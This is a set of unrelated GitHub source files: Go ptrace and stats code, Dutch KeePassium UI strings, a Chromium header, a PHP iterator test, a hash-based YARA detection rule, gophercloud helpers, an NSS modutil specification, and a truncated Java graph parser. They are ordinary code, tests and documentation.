pid, 0, uintptr(unsafe.Pointer(regsout))) } // PtraceSetRegsAmd64 sets the registers used by amd64 binaries. func PtraceSetRegsAmd64(pid int, regs *PtraceRegsAmd64) error { return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs))) }
{ "pile_set_name": "Github" }
/* Class = "UITableViewSection"; headerTitle = "Start"; ObjectID = "9yn-W3-FDl"; Note = "Section in settings: settings that define what happens when the app is started."; */ "9yn-W3-FDl.headerTitle" = "Start"; /* Class = "UILabel"; text = "Auto-open the Previous Database"; ObjectID = "756-sL-G2t"; Note = "Option in settings: whether to open the last used database automatically on start."; */ "756-sL-G2t.text" = "Open automatisch de vorige databank"; /* Class = "UITableViewSection"; headerTitle = "Premium"; ObjectID = "A5N-B3-t3t"; */ "A5N-B3-t3t.headerTitle" = "Premium"; /* Class = "UILabel"; text = "App Protection"; ObjectID = "abS-AH-iFO"; Note = "Settings section: protection of the app from unauthorized access"; */ "abS-AH-iFO.text" = "App-beveiliging"; /* Class = "UINavigationItem"; title = "Settings"; ObjectID = "Bk0-Xf-O7B"; */ "Bk0-Xf-O7B.title" = "Instellingen"; /* Class = "UILabel"; text = "Review KeePassium"; ObjectID = "c5H-hS-sU3"; Note = "Action: write an app review on the App Store"; */ "c5H-hS-sU3.text" = "Beoordeel KeePassium"; /* Class = "UITableViewSection"; headerTitle = "Support"; ObjectID = "cBS-jW-dHU"; */ "cBS-jW-dHU.headerTitle" = "Ondersteuning"; /* Class = "UILabel"; text = "Database Backup"; ObjectID = "coD-Om-Vfm"; Note = "Settings section"; */ "coD-Om-Vfm.text" = "Databankback-up"; /* Class = "UILabel"; text = "About KeePassium"; ObjectID = "DNo-Rs-0EP"; */ "DNo-Rs-0EP.text" = "Over KeePassium"; /* Class = "UILabel"; text = "Master keys, key files"; ObjectID = "FHp-ns-ke9"; Note = "Subtitle/details for `Data Protection`"; */ "FHp-ns-ke9.text" = "Hoofdsleutels, sleutelbestanden"; /* Class = "UILabel"; text = "Search"; ObjectID = "GLr-Uf-Kln"; Note = "Section title in settings"; */ "GLr-Uf-Kln.text" = "Zoek"; /* Class = "UILabel"; text = "Premium Version"; ObjectID = "HCe-A3-eG6"; Note = "Status shown on premium tier"; */ "HCe-A3-eG6.text" = "Premium-versie"; /* Class = "UITableViewSection"; headerTitle = "Backup"; ObjectID = "HjD-9G-X8p"; */ "HjD-9G-X8p.headerTitle" = "Back-up"; /* Class = "UITableViewSection"; headerTitle = "Access Control"; ObjectID = "hui-xG-chj"; */ "hui-xG-chj.headerTitle" = "Toegangsbeheer"; /* Class = "UILabel"; text = "Rate KeePassium on the App Store"; ObjectID = "HYe-lP-dCp"; Note = "Subtitle for `Review KeePassium`"; */ "HYe-lP-dCp.text" = "Beoordeel KeePassium in de App Store"; /* Class = "UILabel"; text = "Upgrade to Premium"; ObjectID = "oxG-N8-1ld"; */ "oxG-N8-1ld.text" = "Upgrade naar Premium"; /* Class = "UILabel"; text = "Diagnostic Log"; ObjectID = "PpA-oZ-kr2"; Note = "Action: show diagnostic log"; */ "PpA-oZ-kr2.text" = "Diagnostisch logbestand"; /* Class = "UILabel"; text = "For expert troubleshooting"; ObjectID = "qhK-lw-bGy"; Note = "Subtitle for `Diagnostic Log`. Keep it short."; */ "qhK-lw-bGy.text" = "Voor probleemoplossing van deskundigen"; /* Class = "UILabel"; text = "Contact Us"; ObjectID = "QlM-VS-hle"; Note = "Action"; */ "QlM-VS-hle.text" = "Neem contact op"; /* Class = "UILabel"; text = "What's New"; ObjectID = "RlK-RW-8Ld"; Note = "Action: open app history page (change log)"; */ "RlK-RW-8Ld.text" = "Wijzigingslog"; /* Class = "UILabel"; text = "Suggestions? Problems? Let us know!"; ObjectID = "RNK-fS-Fvx"; Note = "Subtitle for `Contact Us`. Keep it short."; */ "RNK-fS-Fvx.text" = "Suggesties? Problemen? Laat het ons weten!"; /* Class = "UILabel"; text = "AutoFill Passwords"; ObjectID = "T2Z-oa-zJR"; */ "T2Z-oa-zJR.text" = "Vul wachtwoorden automatisch in"; /* Class = "UILabel"; text = "App Icon"; ObjectID = "TUE-Aw-fJl"; Note = "Section in settings: icon for the app"; */ "TUE-Aw-fJl.text" = "App pictogram"; /* Class = "UILabel"; text = "Data Protection"; ObjectID = "UNl-Hc-Ref"; Note = "Settings section: protection of databases, their keys and data inside them"; */ "UNl-Hc-Ref.text" = "Gegevensbescherming"; /* Class = "UILabel"; text = "Manage Subscriptions"; ObjectID = "zUh-Sn-3ya"; Note = "Action: open AppStore subscription management page"; */ "zUh-Sn-3ya.text" = "Beheer abonnementen";
{ "pile_set_name": "Github" }
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_METRICS_EXPIRED_HISTOGRAM_UTIL_H_ #define COMPONENTS_METRICS_EXPIRED_HISTOGRAM_UTIL_H_ #include <stddef.h> #include <stdint.h> namespace metrics { // Enables histogram expiry checker if it is enabled by field trial. Histogram // expiry is disbaled by default so that unit tests don't fail unexpectedly when // a histogram expires. void EnableExpiryChecker(const uint64_t* expired_histograms_hashes, size_t num_expired_histograms); } // namespace metrics #endif // COMPONENTS_METRICS_EXPIRED_HISTOGRAM_UTIL_H_
{ "pile_set_name": "Github" }
--TEST-- SPL: RegexIterator::GET_MATCH --FILE-- <?php class MyRegexIterator extends RegexIterator { function show() { foreach($this as $k => $v) { var_dump($k); var_dump($v); } } } $ar = new ArrayIterator(array('1','1,2','1,2,3','',NULL,array(),'FooBar',',',',,')); $it = new MyRegexIterator($ar, '/(\d),(\d)/', RegexIterator::GET_MATCH); $it->show(); $it = new MyRegexIterator($ar, '/(\d)/', RegexIterator::GET_MATCH); $it->show(); var_dump($ar); ?> ===DONE=== <?php exit(0); ?> --EXPECTF-- int(1) array(3) { [0]=> %s(3) "1,2" [1]=> %s(1) "1" [2]=> %s(1) "2" } int(2) array(3) { [0]=> %s(3) "1,2" [1]=> %s(1) "1" [2]=> %s(1) "2" } Notice: Array to string conversion in %siterator_050.php on line %d int(0) array(2) { [0]=> %s(1) "1" [1]=> %s(1) "1" } int(1) array(2) { [0]=> %s(1) "1" [1]=> %s(1) "1" } int(2) array(2) { [0]=> %s(1) "1" [1]=> %s(1) "1" } Notice: Array to string conversion in %siterator_050.php on line %d object(ArrayIterator)#%d (1) { %s"storage"%s"ArrayIterator":private]=> array(9) { [0]=> %s(1) "1" [1]=> %s(3) "1,2" [2]=> %s(5) "1,2,3" [3]=> %s(0) "" [4]=> NULL [5]=> array(0) { } [6]=> %s(6) "FooBar" [7]=> %s(1) "," [8]=> %s(2) ",," } } ===DONE===
{ "pile_set_name": "Github" }
import "hash" rule k3e9_312eaa4bc6220912 { meta: copyright="Copyright (c) 2014-2017 Support Intelligence Inc, All Rights Reserved." engine="saphire/1.2.2 divinorum/0.99 icewater/0.3.01" viz_url="http://icewater.io/en/cluster/query?h64=k3e9.312eaa4bc6220912" cluster="k3e9.312eaa4bc6220912" cluster_size="6 samples" filetype = "pe" tlp = "amber" version = "icewater foxtail" author = "Rick Wesson (@wessorh) [email protected]" date = "20171009" license = "RIL v1.0 see https://raw.githubusercontent.com/SupportIntelligence/Icewater/master/LICENSE" family="virut virtob malicious" md5_hashes="['47d2b3b2efbf99da7c5c72f866904732', '47d2b3b2efbf99da7c5c72f866904732', 'a814e6bfde714fac711d0cbfeb9a2908']" condition: filesize > 16384 and filesize < 65536 and hash.md5(1024,1024) == "bafdc1c966710908612de8a0df7c0810" }
{ "pile_set_name": "Github" }
/* Copyright 2017 Google Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "expvar" "testing" ) func clear() { defaultVarGroup.vars = make(map[string]expvar.Var) defaultVarGroup.newVarHook = nil } func TestNoHook(t *testing.T) { clear() v := NewCounter("plainint", "help") v.Add(1) if v.String() != "1" { t.Errorf("want 1, got %s", v.String()) } } func TestFloat(t *testing.T) { var gotname string var gotv *Float clear() Register(func(name string, v expvar.Var) { gotname = name gotv = v.(*Float) }) v := NewFloat("Float") if gotname != "Float" { t.Errorf("want Float, got %s", gotname) } if gotv != v { t.Errorf("want %#v, got %#v", v, gotv) } v.Set(5.1) if v.Get() != 5.1 { t.Errorf("want 5.1, got %v", v.Get()) } v.Add(1.0) if v.Get() != 6.1 { t.Errorf("want 6.1, got %v", v.Get()) } if v.String() != "6.1" { t.Errorf("want 6.1, got %v", v.Get()) } f := FloatFunc(func() float64 { return 1.234 }) if f.String() != "1.234" { t.Errorf("want 1.234, got %v", f.String()) } } func TestString(t *testing.T) { var gotname string var gotv *String clear() Register(func(name string, v expvar.Var) { gotname = name gotv = v.(*String) }) v := NewString("String") if gotname != "String" { t.Errorf("want String, got %s", gotname) } if gotv != v { t.Errorf("want %#v, got %#v", v, gotv) } v.Set("a\"b") if v.Get() != "a\"b" { t.Errorf("want \"a\"b\", got %#v", gotv) } if v.String() != "\"a\\\"b\"" { t.Errorf("want \"\"a\\\"b\"\", got %#v", gotv) } f := StringFunc(func() string { return "a" }) if f.String() != "\"a\"" { t.Errorf("want \"a\", got %v", f.String()) } } type Mystr string func (m *Mystr) String() string { return string(*m) } func TestPublish(t *testing.T) { var gotname string var gotv expvar.Var clear() Register(func(name string, v expvar.Var) { gotname = name gotv = v.(*Mystr) }) v := Mystr("abcd") Publish("Mystr", &v) if gotname != "Mystr" { t.Errorf("want Mystr, got %s", gotname) } if gotv != &v { t.Errorf("want %#v, got %#v", &v, gotv) } } func f() string { return "abcd" } func TestPublishFunc(t *testing.T) { var gotname string var gotv JSONFunc clear() Register(func(name string, v expvar.Var) { gotname = name gotv = v.(JSONFunc) }) PublishJSONFunc("Myfunc", f) if gotname != "Myfunc" { t.Errorf("want Myfunc, got %s", gotname) } if gotv.String() != f() { t.Errorf("want %v, got %#v", f(), gotv()) } } func TestStringMap(t *testing.T) { clear() c := NewStringMap("stringmap1") c.Set("c1", "val1") c.Set("c2", "val2") c.Set("c2", "val3") want1 := `{"c1": "val1", "c2": "val3"}` want2 := `{"c2": "val3", "c1": "val1"}` if s := c.String(); s != want1 && s != want2 { t.Errorf("want %s or %s, got %s", want1, want2, s) } f := StringMapFunc(func() map[string]string { return map[string]string{ "c1": "val1", "c2": "val3", } }) if s := f.String(); s != want1 && s != want2 { t.Errorf("want %s or %s, got %s", want1, want2, s) } }
{ "pile_set_name": "Github" }
package tenants import "github.com/gophercloud/gophercloud" func listURL(client *gophercloud.ServiceClient) string { return client.ServiceURL("tenants") } func getURL(client *gophercloud.ServiceClient, tenantID string) string { return client.ServiceURL("tenants", tenantID) } func createURL(client *gophercloud.ServiceClient) string { return client.ServiceURL("tenants") } func deleteURL(client *gophercloud.ServiceClient, tenantID string) string { return client.ServiceURL("tenants", tenantID) } func updateURL(client *gophercloud.ServiceClient, tenantID string) string { return client.ServiceURL("tenants", tenantID) }
{ "pile_set_name": "Github" }
<html> <!-- This Source Code Form is subject to the terms of the Mozilla Public - License, v. 2.0. If a copy of the MPL was not distributed with this - file, You can obtain one at http://mozilla.org/MPL/2.0/. --> <head> <title>Modutil Specification</title> </head> <body bgcolor=white fgcolor=black> <center><h1>PKCS #11 Module Management Utility <br><i>Specification</i></h1></center> <!----------------------------------------------------------------------> <!-------------------------- capabilities ------------------------------> <!----------------------------------------------------------------------> <h2>Capabilities</h2> <ul> <li>Add a PKCS #11 module, specifying a name and library file. (<a href="#add">-add</a>) <li>Add a PKCS #11 module from a server-formatted JAR file. (<a href="#jar">-jar</a>) <li>Change the password on or initialize a token. (<a href="#changepw">-changepw</a>) <li>Create databases (secmod[ule].db, key3.db, cert7.db) from scratch. (<a href="#create">-create</a>) <li>Switch to and from FIPS-140 compliant mode. (<a href="#fips">-fips</a>) <li>Delete a PKCS #11 module. (<a href="#delete">-delete</a>) <li>List installed PKCS #11 modules. (<a href="#list">-list</a>) <li>List detailed info on a particular module and its tokens, including whether needs login, is hardware, needs user init (<a href="#list">-list</a>) <li>Specify which modules should be the default provider of various cryptographic operations.(<a href="#default">-default</a>, <a href="#undefault">-undefault</a>) <li>Disable and enable slots, find out whether and why they are disabled. (<a href="#disable">-disable</a>, <a href="#enable">-enable</a>, <a href="#list">-list</a>) </ul> <hr> <!----------------------------------------------------------------------> <!-------------------------- Usage -------------------------------------> <!----------------------------------------------------------------------> <h2>Usage</h2> <code>modutil [<i>command</i>] [<i>options</i>]</code> <p>At most one command can be specified. With no arguments, <code>modutil</code> prints a usage message. <h3>Commands:</h3> <table border> <tr bgcolor="#cccccc"> <th>Command</th><th>Description</th> </tr> <!---------------------------- -add ------------------------------> <tr> <td> <a name="add"></a> <code>-add <u><i>module name</i></u> -libfile <u><i>library file</i></u> [-ciphers <u><i>cipher enable list</i></u>] [-mechanisms <u><i>default mechanism list</i></u>] </code></td> <td>Adds a new module to the database with the given name. <p><u><i>library file</i></u> is the path of the DLL or other library file containing the module's implementation of the PKCS #11 interface. <p><u><i>cipher enable flags</i></u> is a colon-separated list of ciphers that will be enabled on this module. The list should be enclosed within quotes if necessary to prevent shell interpretation. The following ciphers are currently available: <ul> <li>FORTEZZA </ul> <p><u><i>default mechanism flags</i></u> is a colon-separated list of mechanisms for which this module should be the default provider. The list should be enclosed within quotes if necessary to prevent shell interpretation. <b>This list does not enable the mechanisms; it only specifies that this module will be a default provider for the listed mechanisms.</b> If more than one module claims to be a default provider for a given mechanism, it is undefined which will actually be chosen to provide that mechanism. The following mechanisms are currently available: <ul> <li>RSA <li>DSA <li>RC2 <li>RC4 <li>RC5 <li>DES <li>DH <li>FORTEZZA <li>SHA1 <li>MD5 <li>MD2 <li>RANDOM <i>(random number generation)</i> <li>FRIENDLY <i>(certificates are publicly-readable)</i> </ul> </td> </tr> <!-------------------------- -changepw -------------------------------------> <tr> <td><a name="changepw"></a><code>-changepw <u><i>token name</i></u> [-pwfile <u><i>old password file</i></u>] [-newpwfile <u><i>new password file</i></u>]</code></td> <td>Changes the password on the named token. If the token has not been initialized, this command will initialize the PIN. If a password file is given, the password will be read from that file; otherwise, the password will be obtained interactively. <b>Storing passwords in a file is much less secure than supplying them interactively.</b> <p>The password on the Netscape internal module cannot be changed if the <code>-nocertdb</code> option is specified. </td> </tr> <!-------------------------- -create -------------------------------------> <tr> <td><a name="create"></a><code>-create</code></td> <td>Creates a new secmod[ule].db, key3.db, and cert7.db in the directory specified with the <code>-dbdir</code> option, if one is specified. If no directory is specified, UNIX systems will use the user's .netscape directory, while other systems will return with an error message. If any of these databases already exist in the chosen directory, an error message is returned. <p>If used with <code>-nocertdb</code>, only secmod[ule].db will be created; cert7.db and key3.db will not be created. </td> </tr> <!------------------------------ -default --------------------------------> <tr> <td> <a name="default"></a> <code>-default <u><i>module name</i></u> -mechanisms <u><i>mechanism list</i></u></code> </td> <td>Specifies that the given module will be a default provider of the listed mechanisms. The mechanism list is the same as in the <code>-add</code> command. </td> </tr> <!-------------------------- -delete -------------------------------------> <tr> <td><a name="delete"></a><code>-delete <u><i>module name</i></u></code></td> <td>Deletes the named module from the database</td> </tr> <!-------------------------- -disable -------------------------------------> <tr> <td> <a name="disable"></a> <code>-disable <u><i>module name</i></u> [-slot <u><i>slot name</i></u>]</code></td> <td>Disables the named slot. If no slot is specified, all slots on the module are disabled.</td> </tr> <!-------------------------- -enable -------------------------------------> <tr> <td> <a name="enable"></a> <code>-enable <u><i>module name</i></u> [-slot <u><i>slot name</i></u>]</code></td> <td>Enables the named slot. If no slot is specified, all slots on the module are enabled.</td> </tr> <!-------------------------- -fips -------------------------------------> <tr> <td><a name="fips"></a><code>-fips [true | false]</code></td> <td>Enables or disables FIPS mode on the internal module. Passing <code>true</code> enables FIPS mode, passing <code>false</code> disables FIPS mode.</td> </tr> <!-------------------------- -force -------------------------------------> <tr> <td><a name="force"></a><code>-force</code></td> <td>Disables interactive prompts, so modutil can be run in a script. Should only be used by experts, since the prompts may relate to security or database integrity. Before using this option, test the command interactively once to see the warnings that are produced.</td> </tr> <!-------------------------- -jar -------------------------------------> <tr> <td><a name="jar"></a><code>-jar <u><i>JAR file</i></u> -installdir <u><i>root installation directory</i></u> [-tempdir <u><i>temporary directory</i></u>]</code></td> <td>Adds a new module from the given JAR file. The JAR file uses the server <a href="pk11jar.html">PKCS #11 JAR format</a> to describe the names of any files that need to be installed, the name of the module, mechanism flags, and cipher flags. The <u><i>root installation directory</i></u> is the directory relative to which files will be installed. This should be a directory under which it would be natural to store dynamic library files, such as a server's root directory, or Communicator's root directory. The <u><i>temporary directory</i></u> is where temporary modutil files will be created in the course of the installation. If no temporary directory is specified, the current directory will be used. <p>If used with the <code>-nocertdb</code> option, the signatures on the JAR file will not be checked.</td> </tr> <!----------------------------- -list ------------------------------> <tr> <td><a name="list"></a><code>-list [<u><i>module name</i></u>]</code></td> <td>Without an argument, lists the PKCS #11 modules present in the module database. <blockquote> <pre> % <b>modutil -list</b> Using database directory /u/nicolson/.netscape... Listing of PKCS #11 Modules ----------------------------------------------------------- 1. Netscape Internal PKCS #11 Module slots: 2 slots attached status: loaded slot: Communicator Internal Cryptographic Services Version 4.0 token: Communicator Generic Crypto Svcs slot: Communicator User Private Key and Certificate Services token: Communicator Certificate DB ----------------------------------------------------------- </pre> </blockquote> <p>With an argument, provides a detailed description of the named module and its slots and tokens. <blockquote> <pre> % <b>modutil -list "Netscape Internal PKCS #11 Module"</b> Using database directory /u/nicolson/.netscape... ----------------------------------------------------------- Name: Netscape Internal PKCS #11 Module Library file: **Internal ONLY module** Manufacturer: Netscape Communications Corp Description: Communicator Internal Crypto Svc PKCS #11 Version 2.0 Library Version: 4.0 Cipher Enable Flags: None Default Mechanism Flags: RSA:DSA:RC2:RC4:DES:SHA1:MD5:MD2 Slot: Communicator Internal Cryptographic Services Version 4.0 Manufacturer: Netscape Communications Corp Type: Software Version Number: 4.1 Firmware Version: 0.0 Status: Enabled Token Name: Communicator Generic Crypto Svcs Token Manufacturer: Netscape Communications Corp Token Model: Libsec 4.0 Token Serial Number: 0000000000000000 Token Version: 4.0 Token Firmware Version: 0.0 Access: Write Protected Login Type: Public (no login required) User Pin: NOT Initialized Slot: Communicator User Private Key and Certificate Services Manufacturer: Netscape Communications Corp Type: Software Version Number: 3.0 Firmware Version: 0.0 Status: Enabled Token Name: Communicator Certificate DB Token Manufacturer: Netscape Communications Corp Token Model: Libsec 4.0 Token Serial Number: 0000000000000000 Token Version: 7.0 Token Firmware Version: 0.0 Access: NOT Write Protected Login Type: Login required User Pin: Initialized ----------------------------------------------------------- </pre> </blockquote> </td> </tr> <!------------------------------ Undefault -------------------------------> <tr> <td><a name="undefault"></a><code>-undefault <u><i>module name</i></u> -mechanisms <u><i>mechanism list</i></u></code></td> <td>Specifies that the given module will NOT be a default provider of the listed mechanisms. This command clears the default mechanism flags for the given module.</td> </tr> </table> <!------------------------------------------------------------------------> <!------------------------------ Options ---------------------------------> <!------------------------------------------------------------------------> <h3>Options:</h3> <table border> <tr bgcolor="#cccccc"><th>Option</th><th>Description</th> </tr> <!------------------------------ -dbdir ----------------------------------> <tr> <td><code>-dbdir <u><i>directory</i></u></code></td> <td>Specifies which directory holds the module database. On UNIX systems, the user's netscape directory is the default. On other systems, there is no default, and this option must be used.</td> </tr> <!------------------------------ -dbdir ----------------------------------> <tr> <td><code>-nocertdb</code></td> <td>Do not open the certificate or key databases. This has several effects. With the <code>-create</code> command, this means that only a secmod.db file will be created; cert7.db and key3.db will not be created. With the <code>-jar</code> command, signatures on the JAR file will not be checked. With the <code>-changepw</code> command, the password on the Netscape internal module cannot be set or changed, since this password is stored in key3.db. </td> </tr> </table> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012, 2016, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.sun.hotspot.igv.data.serialization; import com.sun.hotspot.igv.data.*; import com.sun.hotspot.igv.data.Properties; import com.sun.hotspot.igv.data.services.GroupCallback; import java.io.EOFException; import java.io.IOException; import java.nio.ByteBuffer; import java.nio.channels.ReadableByteChannel; import java.nio.charset.Charset; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.swing.SwingUtilities; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class BinaryParser implements GraphParser { private static final int BEGIN_GROUP = 0x00; private static final int BEGIN_GRAPH = 0x01; private static final int CLOSE_GROUP = 0x02; private static final int POOL_NEW = 0x00; private static final int POOL_STRING = 0x01; private static final int POOL_ENUM = 0x02; private static final int POOL_CLASS = 0x03; private static final int POOL_METHOD = 0x04; private static final int POOL_NULL = 0x05; private static final int POOL_NODE_CLASS = 0x06; private static final int POOL_FIELD = 0x07; private static final int POOL_SIGNATURE = 0x08; private static final int KLASS = 0x00; private static final int ENUM_KLASS = 0x01; private static final int PROPERTY_POOL = 0x00; private static final int PROPERTY_INT = 0x01; private static final int PROPERTY_LONG = 0x02; private static final int PROPERTY_DOUBLE = 0x03; private static final int PROPERTY_FLOAT = 0x04; private static final int PROPERTY_TRUE = 0x05; private static final int PROPERTY_FALSE = 0x06; private static final int PROPERTY_ARRAY = 0x07; private static final int PROPERTY_SUBGRAPH = 0x08; private static final String NO_BLOCK = "noBlock"; private static final Charset utf8 = Charset.forName("UTF-8"); private final GroupCallback callback; private final List<Object> constantPool; private final ByteBuffer buffer; private final ReadableByteChannel channel; private final GraphDocument rootDocument; private final Deque<Folder> folderStack; private final Deque<byte[]> hashStack; private final ParseMonitor monitor; private MessageDigest digest; private enum Length { S, M, L } private interface LengthToString { String toString(Length l); } private static abstract class Member implements LengthToString { public final Klass holder; public final int accessFlags; public final String name; public Member(Klass holder, String name, int accessFlags) { this.holder = holder; this.accessFlags = accessFlags; this.name = name; } } private static class Method extends Member { public final Signature signature; public final byte[] code; public Method(String name, Signature signature, byte[] code, Klass holder, int accessFlags) { super(holder, name, accessFlags); this.signature = signature; this.code = code; } @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append(holder).append('.').append(name).append('('); for (int i = 0; i < signature.argTypes.length; i++) { if (i > 0) { sb.append(", "); } sb.append(signature.argTypes[i]); } sb.append(')'); return sb.toString(); } @Override public String toString(Length l) { switch(l) { case M: return holder.toString(Length.L) + "." + name; case S: return holder.toString(Length.S) + "." + name; default: case L: return toString(); } } } private static class Signature { public final String returnType; public final String[] argTypes; public Signature(String returnType, String[] argTypes) { this.returnType = returnType; this.argTypes = argTypes; } } private static class Field extends Member { public final String type; public Field(String type, Klass holder, String name, int accessFlags) { super(holder, name, accessFlags); this.type = type; } @Override public String toString() { return holder + "." + name; } @Override public String toString(Length l) { switch(l) { case M: return holder.toString(Length.L) + "." + name; case S: return holder.toString(Length.S) + "." + name; default: case L: return toString(); } } } private static class Klass implements LengthToString { public final String name; public final String simpleName; public Klass(String name) { this.name = name; String simple; try { simple = name.substring(name.lastIndexOf('.') + 1); } catch (IndexOutOfBoundsException ioobe) { simple = name; } this.simpleName = simple; } @Override public String toString() { return name; } @Override public String toString(Length l) { switch(l) { case S: return simpleName; default: case L: case M: return toString(); } } } private static class EnumKlass extends Klass { public final String[] values; public EnumKlass(String name, String[] values) { super(name); this.values = values; } } private static class Port { public final boolean isList; public final String name; private Port(boolean isList, String name) { this.isList = isList; this.name = name; } } private static class TypedPort extends Port { public final EnumValue type; private TypedPort(boolean isList, String name, EnumValue type) { super(isList, name); this.type = type; } } private static class NodeClass { public final String className; public final String nameTemplate; public final List<TypedPort> inputs; public final List<Port> sux; private NodeClass(String className, String nameTemplate, List<TypedPort> inputs, List<Port> sux) { this.className = className; this.nameTemplate = nameTemplate; this.inputs = inputs; this.sux = sux; } @Override public String toString() { return className; } } private static class EnumValue implements LengthToString { public EnumKlass enumKlass; public int ordinal; public EnumValue(EnumKlass enumKlass, int ordinal) { this.enumKlass = enumKlass; this.ordinal = ordinal; } @Override public String toString() { return enumKlass.simpleName + "." + enumKlass.values[ordinal]; } @Override public String toString(Length l) { switch(l) { case S: return enumKlass.values[ordinal]; default: case M: case L: return toString(); } } } public BinaryParser(ReadableByteChannel channel, ParseMonitor monitor, GraphDocument rootDocument, GroupCallback callback) { this.callback = callback; constantPool = new ArrayList<>(); buffer = ByteBuffer.allocateDirect(256 * 1024); buffer.flip(); this.channel = channel; this.rootDocument = rootDocument; folderStack = new LinkedList<>(); hashStack = new LinkedList<>(); this.monitor = monitor; try { this.digest = MessageDigest.getInstance("SHA-1"); } catch (NoSuchAlgorithmException e) { } } private void fill() throws IOException { // All the data between lastPosition and position has been // used so add it to the digest. int position = buffer.position(); buffer.position(lastPosition); byte[] remaining = new byte[position - buffer.position()]; buffer.get(remaining); digest.update(remaining); assert position == buffer.position(); buffer.compact(); if (channel.read(buffer) < 0) { throw new EOFException(); } buffer.flip(); lastPosition = buffer.position(); } private void ensureAvailable(int i) throws IOException { if (i > buffer.capacity()) { throw new IllegalArgumentException(String.format("Can not request %d bytes: buffer capacity is %d", i, buffer.capacity())); } while (buffer.remaining() < i) { fill(); } } private int readByte() throws IOException { ensureAvailable(1); return ((int)buffer.get()) & 0xff; } private int readInt() throws IOException { ensureAvailable(4); return buffer.getInt(); } private char readShort() throws IOException { ensureAvailable(2); return buffer.getChar(); } private long readLong() throws IOException { ensureAvailable(8); return buffer.getLong(); } private double readDouble() throws IOException { ensureAvailable(8); return buffer.getDouble(); } private float readFloat() throws IOException { ensureAvailable(4); return buffer.getFloat(); } private String readString() throws IOException { return new String(readBytes(), utf8).intern(); } private byte[] readBytes() throws IOException { int len = readInt(); if (len < 0) { return null; } byte[] b = new byte[len]; int bytesRead = 0; while (bytesRead < b.length) { int toRead = Math.min(b.length - bytesRead, buffer.capacity()); ensureAvailable(toRead); buffer.get(b, bytesRead, toRead); bytesRead += toRead; } return b; } private String readIntsToString() throws IOException { int len = readInt(); if (len < 0) { return "null"; } ensureAvailable(len * 4); StringBuilder sb = new StringBuilder().append('['); for (int i = 0; i < len; i++) { sb.append(buffer.getInt()); if (i < len - 1) { sb.append(", "); } } sb.append(']'); return sb.toString().intern(); } private String readDoublesToString() throws IOException { int len = readInt(); if (len < 0) { return "null"; } ensureAvailable(len * 8); StringBuilder sb = new StringBuilder().append('['); for (int i = 0; i < len; i++) { sb.append(buffer.getDouble()); if (i < len - 1) { sb.append(", "); } } sb.append(']'); return sb.toString().intern(); } private String readPoolObjectsToString() throws IOException { int len = readInt(); if (len < 0) { return "null"; } StringBuilder sb = new StringBuilder().append('['); for (int i = 0; i < len; i++) { sb.append(readPoolObject(Object.class)); if (i < len - 1) { sb.append(", "); } } sb.append(']'); return sb.toString().intern(); } private <T> T readPoolObject(Class<T> klass) throws IOException { int type = readByte(); if (type == POOL_NULL) { return null; } if (type == POOL_NEW) { return (T) addPoolEntry(klass); } assert assertObjectType(klass, type); char index = readShort(); if (index < 0 || index >= constantPool.size()) { throw new IOException("Invalid constant pool index : " + index); } Object obj = constantPool.get(index); return (T) obj; } private boolean assertObjectType(Class<?> klass, int type) { switch(type) { case POOL_CLASS: return klass.isAssignableFrom(EnumKlass.class); case POOL_ENUM: return klass.isAssignableFrom(EnumValue.class); case POOL_METHOD: return klass.isAssignableFrom(Method.class); case POOL_STRING: return klass.isAssignableFrom(String.class); case POOL_NODE_CLASS: return klass.isAssignableFrom(NodeClass.class); case POOL_FIELD: return klass.isAssignableFrom(Field.class); case POOL_SIGNATURE: return klass.isAssignableFrom(Signature.class); case POOL_NULL: return true; default: return false; } } private Object addPoolEntry(Class<?> klass) throws IOException { char index = readShort(); int type = readByte(); assert assertObjectType(klass, type) : "Wrong object type : " + klass + " != " + type; Object obj; switch(type) { case POOL_CLASS: { String name = readString(); int klasstype = readByte(); if (klasstype == ENUM_KLASS) { int len = readInt(); String[] values = new String[len]; for (int i = 0; i < len; i++) { values[i] = readPoolObject(String.class); } obj = new EnumKlass(name, values); } else if (klasstype == KLASS) { obj = new Klass(name); } else { throw new IOException("unknown klass type : " + klasstype); } break; } case POOL_ENUM: { EnumKlass enumClass = readPoolObject(EnumKlass.class); int ordinal = readInt(); obj = new EnumValue(enumClass, ordinal); break; } case POOL_NODE_CLASS: { String className = readString(); String nameTemplate = readString(); int inputCount = readShort(); List<TypedPort> inputs = new ArrayList<>(inputCount); for (int i = 0; i < inputCount; i++) { boolean isList = readByte() != 0; String name = readPoolObject(String.class); EnumValue inputType = readPoolObject(EnumValue.class); inputs.add(new TypedPort(isList, name, inputType)); } int suxCount = readShort(); List<Port> sux = new ArrayList<>(suxCount); for (int i = 0; i < suxCount; i++) { boolean isList = readByte() != 0; String name = readPoolObject(String.class); sux.add(new Port(isList, name)); } obj = new NodeClass(className, nameTemplate, inputs, sux); break; } case POOL_METHOD: { Klass holder = 